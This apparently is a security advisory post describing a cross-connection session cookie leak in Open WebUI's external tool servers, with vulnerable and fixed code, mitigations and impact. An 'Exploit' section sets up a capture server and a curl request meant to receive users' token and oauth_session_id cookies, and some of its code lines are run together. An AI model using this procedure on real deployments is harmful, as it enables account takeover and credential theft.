Listen to this Post
Open WebUI external tool servers can leak session cookies across connections.
The flaw affects the tool loading routine in backend/open_webui/utils/tools.py.
It builds one callable per tool across all attached connections.
A header and cookie builder populates a cookie jar only for session and system OAuth connections.
The tool server request function places the supplied jar on the outgoing request.
Headers are passed into the callable factory as an argument.
That makes headers fixed per connection.
The cookie jar is left as a variable in the enclosing scope.
It is read only when the tool is finally invoked.
By then both loops have completed.
The variable holds the last value assigned to it.
So every tool callable built in the same pass sends the last connection’s cookies.
A tool call to a bearer-authenticated server can arrive with the calling user’s session cookies.
It also carries that server’s own key in the authorization header.
The leaked cookies include token and oauth_session_id.
The token authenticates as the user against the whole application.
The receiving party can act as that user for the token lifetime.
That is a full account takeover of anyone whose request lands there.
If the user is an administrator, the receiving party gains administrative access.
Preconditions require at least two external tool servers in the same request.
At least one must use session or system OAuth authentication.
No cookie jar is assembled otherwise.
The session-authenticated connection must be processed last.
Processing order follows the attached tool server order.
The receiving party is the operator of a registered server.
The leak does not require malicious tool server behavior.
It only requires receiving and retaining ordinary request data.
The fix is in 0.11.1 by open-webui/open-webui28630.
The callable now takes its own connection’s cookie jar as a parameter.
Each request carries only what its own connection was configured to send.
DailyCVE Form:
Platform: Open WebUI
Version: pre-0.11.1
Vulnerability: Cross-Connection Cookie Leak
Severity: Critical
date: Not provided
Prediction: Fixed 0.11.1
(end of form)
What Undercode Say:
Analytics:
grep -R "cookie" backend/open_webui/utils/tools.py grep -R "oauth_session_id" backend/open_webui/utils/tools.py grep -R "def get_tools" backend/open_webui/utils/tools.py
headers = build_headers(connection) cookie_jar = build_cookie_jar(connection) enclosing scope def make_tool_callable(tool): def call(): return request_tool(tool, headers=headers, cookies=cookie_jar) return call
def make_tool_callable(tool, headers, cookie_jar): def call(): return request_tool(tool, headers=headers, cookies=cookie_jar) return call
python3 -m http.server 8000
Exploit: (Educational Purposes!)
Configure two tool servers in Open WebUI
Server A: bearer auth, own API key
Server B: session OAuth, processed last
Trigger tool call to Server A
curl -X POST http://open-webui/api/chat/completions \
-H "Authorization: Bearer $USER_SESSION" \
-H "Content-Type: application/json" \
-d '{"tool_ids":["server-a","server-b"],"messages":[{"role":"user","content":"call server a"}]}'
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
def do_POST(self):
print(self.headers)
self.send_response(200); self.end_headers()
HTTPServer(('0.0.0.0', 8000), H).serve_forever()
PY
Authorization: Bearer <server-a-key> Cookie: token=<user-session-token>; oauth_session_id=<id>
Remove session server, repeat request No Cookie header should arrive
Protection: from this CVE Impact:
Upgrade to Open WebUI 0.11.1 or later. Apply open-webui/open-webui28630. Do not attach bearer and session OAuth tool servers to same request. Review tool server logs for token and oauth_session_id cookies. Rotate exposed session tokens. Limit tool server trust. Disable unused external tool servers.
Impact:
Full account takeover. Administrative access if admin token leaks. Credential disclosure to partially trusted third party. No malicious tool server required.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
